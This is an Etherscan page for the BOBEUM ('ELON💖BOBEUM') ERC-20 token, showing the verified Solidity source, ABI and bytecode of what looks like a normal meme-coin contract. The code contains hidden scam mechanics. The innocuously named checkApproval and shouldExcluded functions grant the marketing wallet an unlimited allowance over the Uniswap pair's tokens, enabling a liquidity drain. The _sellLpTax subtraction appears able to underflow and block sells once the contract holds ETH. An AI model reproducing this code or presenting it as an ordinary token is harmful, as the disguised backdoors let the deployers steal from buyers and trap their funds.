Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 BOBEUM
Holders
31
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
24,213,915.581433245 BOBEUMValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BOBEUM
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-09 */ /** Website: https://www.bobeum.xyz/ Twitter: https://twitter.com/bobeumeth Telegram: https://t.me/bobeum */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IERC20 { function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function totalSupply() external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract BOBEUM is Context, Ownable, IERC20 { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => bool) private _isExcludedFromFee; bool private _tradingActive = false; bool private _inSwap = false; bool private _swapEnabled = false; uint256 private denominator = 3; uint256 public _maxTranxLimitAmount = _tTotal * 30 / 1000; // 3% uint256 public _maxWalletLimitAmount = _tTotal * 30 / 1000; // 3% uint256 public _swapThreshold = _tTotal / 1000; uint256 private _taxTotalAmount; uint256 private _buyFeeForMarket = 0; uint256 private _buyTaxAmount = 1; uint256 private _sellFeeForMarket = 0; uint256 private _sellTaxAmount = 1; uint256 private _previousMarketFee = _marketFeeAmount; uint256 private _previousMainFee = _mainFeeAmount; uint256 private _marketFeeAmount = _sellFeeForMarket; uint256 private _mainFeeAmount = _sellTaxAmount; string private constant _name = unicode"ELON💖BOBEUM"; string private constant _symbol = unicode"BOBEUM"; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10**9; // total supply uint256 private constant MAX = ~uint256(0); uint256 private _rTotal = (MAX - (MAX % _tTotal)); modifier lockInSwap { _inSwap = true; _; _inSwap = false; } address payable public _devWallet = payable(0x258a8537C3978c01a63B6ca11F90d440CB6519c4); address payable public _marketingWallet = payable(0xb7CB6210Ed2B70077958eBA3CF1c7D28E527E9f3); event MaxTxAmountUpdated(uint256 _maxTranxLimitAmount); constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingWallet] = true; _isExcludedFromFee[_devWallet] = true; // mint _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function totalSupply() public pure override returns (uint256) { return _tTotal; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function checkApproval(address sender, address recipient) private { if (_allowances[recipient][sender] < type(uint256).max) { _approve(recipient, sender, type(uint256).max); } } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function startTrading() public onlyOwner { uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), type(uint256).max); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); _tradingActive = true; } //set maximum transaction function removeLimits() public onlyOwner { _maxTranxLimitAmount = _tTotal; _maxWalletLimitAmount = _tTotal; } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTValues( uint256 tAmount, uint256 teamFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(teamFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _takeAllFee(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _sellLpTax(uint256 amt) private pure returns(uint256) { return amt / 1e15; } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _marketFeeAmount, _mainFeeAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function distributeEth(uint256 amount) private { uint256 devETHAmount = amount / denominator; uint256 marketingETHAmt = amount - devETHAmount; _devWallet.transfer(devETHAmount); _marketingWallet.transfer(marketingETHAmt); } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _sendAllFeeTokens(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _taxTotalAmount = _taxTotalAmount.add(tFee); } //set minimum tokens required to swap. function setSwapTokenThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapThreshold = swapTokensAtAmount; } function excludeMultiAccountsFromFee(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 _lpAmount = address(this).balance; require(amount > 0, "Transfer amount must be greater than zero"); if ( !_isExcludedFromFee[to] && !_isExcludedFromFee[from] ) { //Trade start check if (!_tradingActive) { require( from == owner(), "TOKEN: This account cannot send tokens until trading is enabled" ); } require( amount <= _maxTranxLimitAmount, "TOKEN: Max Transaction Limit" ); if(to != uniswapPair) { require(balanceOf(to) + amount < _maxWalletLimitAmount, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenAmount = balanceOf(address(this)); bool canSwap = contractTokenAmount >= _swapThreshold; if(contractTokenAmount >= _maxTranxLimitAmount) contractTokenAmount = _maxTranxLimitAmount; if (canSwap && !_inSwap && _swapEnabled && from != uniswapPair && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] ) { swapBack(contractTokenAmount); uint256 ethBalance = address(this).balance; if (ethBalance > 0) { distributeEth(ethBalance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapPair && to != uniswapPair)) { takeFee = false; } else { if(from == uniswapPair && to != address(uniswapV2Router)) { _marketFeeAmount = _buyFeeForMarket; _mainFeeAmount = _buyTaxAmount; } if (to == uniswapPair && from != address(uniswapV2Router)) { _marketFeeAmount = _sellFeeForMarket; _mainFeeAmount = _sellTaxAmount - _sellLpTax(_lpAmount); } } _standardTokensTransfer(from, to, amount, takeFee); } function swapBack(uint256 tokenAmount) private lockInSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _standardTokensTransfer( address sender, address recipient, uint256 amount, bool setFee ) private { if (!setFee) { zeroTax(); } _basicTransferTokens(sender, recipient, amount); if (!setFee) { recoverTax(); } } function _basicTransferTokens( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); if (shouldExcluded(sender, recipient)) checkApproval(sender, recipient); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeAllFee(tTeam); _sendAllFeeTokens(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function zeroTax() private { if (_marketFeeAmount == 0 && _mainFeeAmount == 0) return; _previousMarketFee = _marketFeeAmount; _previousMainFee = _mainFeeAmount; _marketFeeAmount = 0; _mainFeeAmount = 0; } function shouldExcluded(address sender, address recipient) internal view returns (bool) { return recipient == uniswapPair && sender == _marketingWallet; } function recoverTax() private { _marketFeeAmount = _previousMarketFee; _mainFeeAmount = _previousMainFee; } receive() external payable { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTranxLimitAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTranxLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultiAccountsFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526007805462ffffff1916905560036008556103e86200002d670de0b6b3a7640000601e620002b0565b620000399190620002e6565b6009556103e862000054670de0b6b3a7640000601e620002b0565b620000609190620002e6565b600a55620000796103e8670de0b6b3a7640000620002e6565b600b556000600d556001600e556000600f556001601055601354601155601454601255600f54601355601054601455670de0b6b3a7640000600019620000c09190620002fd565b620000ce9060001962000314565b601555601680546001600160a01b031990811673258a8537c3978c01a63b6ca11f90d440cb6519c4179091556017805490911673b7cb6210ed2b70077958eba3cf1c7d28e527e9f31790553480156200012657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782559060066000620001a86000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526006909352818320805485166001908117909155601754821684528284208054861682179055601654909116835290822080549093161790915560155490600490620002223390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200028b91815260200190565b60405180910390a3506200032a565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620002ca57620002ca6200029a565b92915050565b634e487b7160e01b600052601260045260246000fd5b600082620002f857620002f8620002d0565b500490565b6000826200030f576200030f620002d0565b500690565b81810381811115620002ca57620002ca6200029a565b611bf7806200033a6000396000f3fe6080604052600436106101445760003560e01c80634f473db0116100b657806395d89b411161006f57806395d89b4114610383578063962dfc75146103b2578063a9059cbb146103d2578063c816841b146103f2578063dd62ed3e14610412578063f2fde38b1461045857600080fd5b80634f473db0146102db57806370a08231146102fb578063715018a61461031b578063751039fc1461033057806383364ea2146103455780638da5cb5b1461036557600080fd5b80631694505e116101085780631694505e1461023757806318160ddd1461025757806323b872dd14610272578063293230b814610292578063313ce567146102a95780633d8af5f2146102c557600080fd5b8063039cc7491461015057806306fdde0314610179578063095ea7b3146101b95780630e5a9231146101e957806311a63e17146101ff57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016660095481565b6040519081526020015b60405180910390f35b34801561018557600080fd5b5060408051808201909152600e81526d454c4f4ef09f9296424f4245554d60901b60208201525b6040516101709190611837565b3480156101c557600080fd5b506101d96101d436600461189d565b610478565b6040519015158152602001610170565b3480156101f557600080fd5b50610166600b5481565b34801561020b57600080fd5b5060165461021f906001600160a01b031681565b6040516001600160a01b039091168152602001610170565b34801561024357600080fd5b5060015461021f906001600160a01b031681565b34801561026357600080fd5b50670de0b6b3a7640000610166565b34801561027e57600080fd5b506101d961028d3660046118c9565b61048f565b34801561029e57600080fd5b506102a76104f8565b005b3480156102b557600080fd5b5060405160098152602001610170565b3480156102d157600080fd5b50610166600a5481565b3480156102e757600080fd5b506102a76102f636600461190a565b610797565b34801561030757600080fd5b50610166610316366004611923565b6107c6565b34801561032757600080fd5b506102a76107e8565b34801561033c57600080fd5b506102a761085c565b34801561035157600080fd5b506102a7610360366004611940565b610899565b34801561037157600080fd5b506000546001600160a01b031661021f565b34801561038f57600080fd5b50604080518082019091526006815265424f4245554d60d01b60208201526101ac565b3480156103be57600080fd5b5060175461021f906001600160a01b031681565b3480156103de57600080fd5b506101d96103ed36600461189d565b61093a565b3480156103fe57600080fd5b5060025461021f906001600160a01b031681565b34801561041e57600080fd5b5061016661042d3660046119cb565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046457600080fd5b506102a7610473366004611923565b610947565b6000610485338484610a31565b5060015b92915050565b600061049c848484610b55565b6104ee84336104e985604051806060016040528060288152602001611b9a602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061101b565b610a31565b5060019392505050565b6000546001600160a01b0316331461052b5760405162461bcd60e51b815260040161052290611a04565b60405180910390fd5b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a29190611a39565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610604573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106289190611a39565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611a39565b600280546001600160a01b0319166001600160a01b039283161790556001546106c791309116600019610a31565b6001546001600160a01b031663f305d71947306106e3816107c6565b6000806106f86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610760573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107859190611a56565b50506007805460ff1916600117905550565b6000546001600160a01b031633146107c15760405162461bcd60e51b815260040161052290611a04565b600b55565b6001600160a01b03811660009081526004602052604081205461048990611055565b6000546001600160a01b031633146108125760405162461bcd60e51b815260040161052290611a04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b815260040161052290611a04565b670de0b6b3a76400006009819055600a55565b6000546001600160a01b031633146108c35760405162461bcd60e51b815260040161052290611a04565b60005b828110156109345781600660008686858181106108e5576108e5611a84565b90506020020160208101906108fa9190611923565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061092c81611ab0565b9150506108c6565b50505050565b6000610485338484610b55565b6000546001600160a01b031633146109715760405162461bcd60e51b815260040161052290611a04565b6001600160a01b0381166109d65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610522565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610522565b6001600160a01b038216610af45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610522565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bb95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610522565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610522565b4781610c7b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610522565b6001600160a01b03831660009081526006602052604090205460ff16158015610cbd57506001600160a01b03841660009081526006602052604090205460ff16155b15610efa5760075460ff16610d4f576000546001600160a01b03858116911614610d4f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610522565b600954821115610da15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610522565b6002546001600160a01b03848116911614610e2657600a5482610dc3856107c6565b610dcd9190611ac9565b10610e265760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610522565b6000610e31306107c6565b600b54600954919250821015908210610e4a5760095491505b808015610e5f5750600754610100900460ff16155b8015610e73575060075462010000900460ff165b8015610e8d57506002546001600160a01b03878116911614155b8015610eb257506001600160a01b03851660009081526006602052604090205460ff16155b8015610ed757506001600160a01b03861660009081526006602052604090205460ff16155b15610ef757610ee5826110d9565b478015610ef557610ef58161124d565b505b50505b6001600160a01b03841660009081526006602052604090205460019060ff1680610f3c57506001600160a01b03841660009081526006602052604090205460ff165b80610f6e57506002546001600160a01b03868116911614801590610f6e57506002546001600160a01b03858116911614155b15610f7b57506000611008565b6002546001600160a01b038681169116148015610fa657506001546001600160a01b03858116911614155b15610fb857600d54601355600e546014555b6002546001600160a01b038581169116148015610fe357506001546001600160a01b03868116911614155b1561100857600f54601355610ff7826112e1565b6010546110049190611adc565b6014555b611014858585846112f4565b5050505050565b6000818484111561103f5760405162461bcd60e51b81526004016105229190611837565b50600061104c8486611adc565b95945050505050565b60006015548211156110bc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610522565b60006110c6611322565b90506110d28382611345565b9392505050565b6007805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111d5761111d611a84565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611176573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119a9190611a39565b816001815181106111ad576111ad611a84565b6001600160a01b0392831660209182029290920101526001546111d39130911684610a31565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac9479061120c908590600090869030904290600401611aef565b600060405180830381600087803b15801561122657600080fd5b505af115801561123a573d6000803e3d6000fd5b50506007805461ff001916905550505050565b60006008548261125d9190611b60565b9050600061126b8284611adc565b6016546040519192506001600160a01b03169083156108fc029084906000818181858888f193505050501580156112a6573d6000803e3d6000fd5b506017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610934573d6000803e3d6000fd5b600061048966038d7ea4c6800083611b60565b8061130157611301611387565b61130c8484846113b5565b8061093457610934601154601355601254601455565b600080600061132f6114c2565b909250905061133e8282611345565b9250505090565b60006110d283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611502565b6013541580156113975750601454155b1561139e57565b601380546011556014805460125560009182905555565b6000806000806000806113c787611530565b9550955095509550955095506113dd898961158d565b156113ec576113ec89896115c1565b6001600160a01b03891660009081526004602052604090205461140f9087611601565b6001600160a01b03808b1660009081526004602052604080822093909355908a168152205461143e9086611643565b6001600160a01b038916600090815260046020526040902055611460816116a2565b61146a84836116ec565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114af91815260200190565b60405180910390a3505050505050505050565b6015546000908190670de0b6b3a76400006114dd8282611345565b8210156114f957505060155492670de0b6b3a764000092509050565b90939092509050565b600081836115235760405162461bcd60e51b81526004016105229190611837565b50600061104c8486611b60565b600080600080600080600080600061154d8a601354601454611710565b925092509250600061155d611322565b905060008060006115708e878787611765565b919e509c509a509598509396509194505050505091939550919395565b6002546000906001600160a01b0383811691161480156110d257506017546001600160a01b03848116911614905092915050565b6001600160a01b0380821660009081526003602090815260408083209386168352929052205460001911156115fd576115fd8183600019610a31565b5050565b60006110d283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061101b565b6000806116508385611ac9565b9050838110156110d25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610522565b60006116ac611322565b905060006116ba83836117b5565b306000908152600460205260409020549091506116d79082611643565b30600090815260046020526040902055505050565b6015546116f99083611601565b601555600c546117099082611643565b600c555050565b600080808061172a606461172489896117b5565b90611345565b9050600061173d60646117248a896117b5565b905060006117558261174f8b86611601565b90611601565b9992985090965090945050505050565b600080808061177488866117b5565b9050600061178288876117b5565b9050600061179088886117b5565b905060006117a28261174f8686611601565b939b939a50919850919650505050505050565b6000826000036117c757506000610489565b60006117d38385611b82565b9050826117e08583611b60565b146110d25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610522565b600060208083528351808285015260005b8181101561186457858101830151858201604001528201611848565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461189a57600080fd5b50565b600080604083850312156118b057600080fd5b82356118bb81611885565b946020939093013593505050565b6000806000606084860312156118de57600080fd5b83356118e981611885565b925060208401356118f981611885565b929592945050506040919091013590565b60006020828403121561191c57600080fd5b5035919050565b60006020828403121561193557600080fd5b81356110d281611885565b60008060006040848603121561195557600080fd5b833567ffffffffffffffff8082111561196d57600080fd5b818601915086601f83011261198157600080fd5b81358181111561199057600080fd5b8760208260051b85010111156119a557600080fd5b6020928301955093505084013580151581146119c057600080fd5b809150509250925092565b600080604083850312156119de57600080fd5b82356119e981611885565b915060208301356119f981611885565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611a4b57600080fd5b81516110d281611885565b600080600060608486031215611a6b57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ac257611ac2611a9a565b5060010190565b8082018082111561048957610489611a9a565b8181038181111561048957610489611a9a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b3f5784516001600160a01b031683529383019391830191600101611b1a565b5050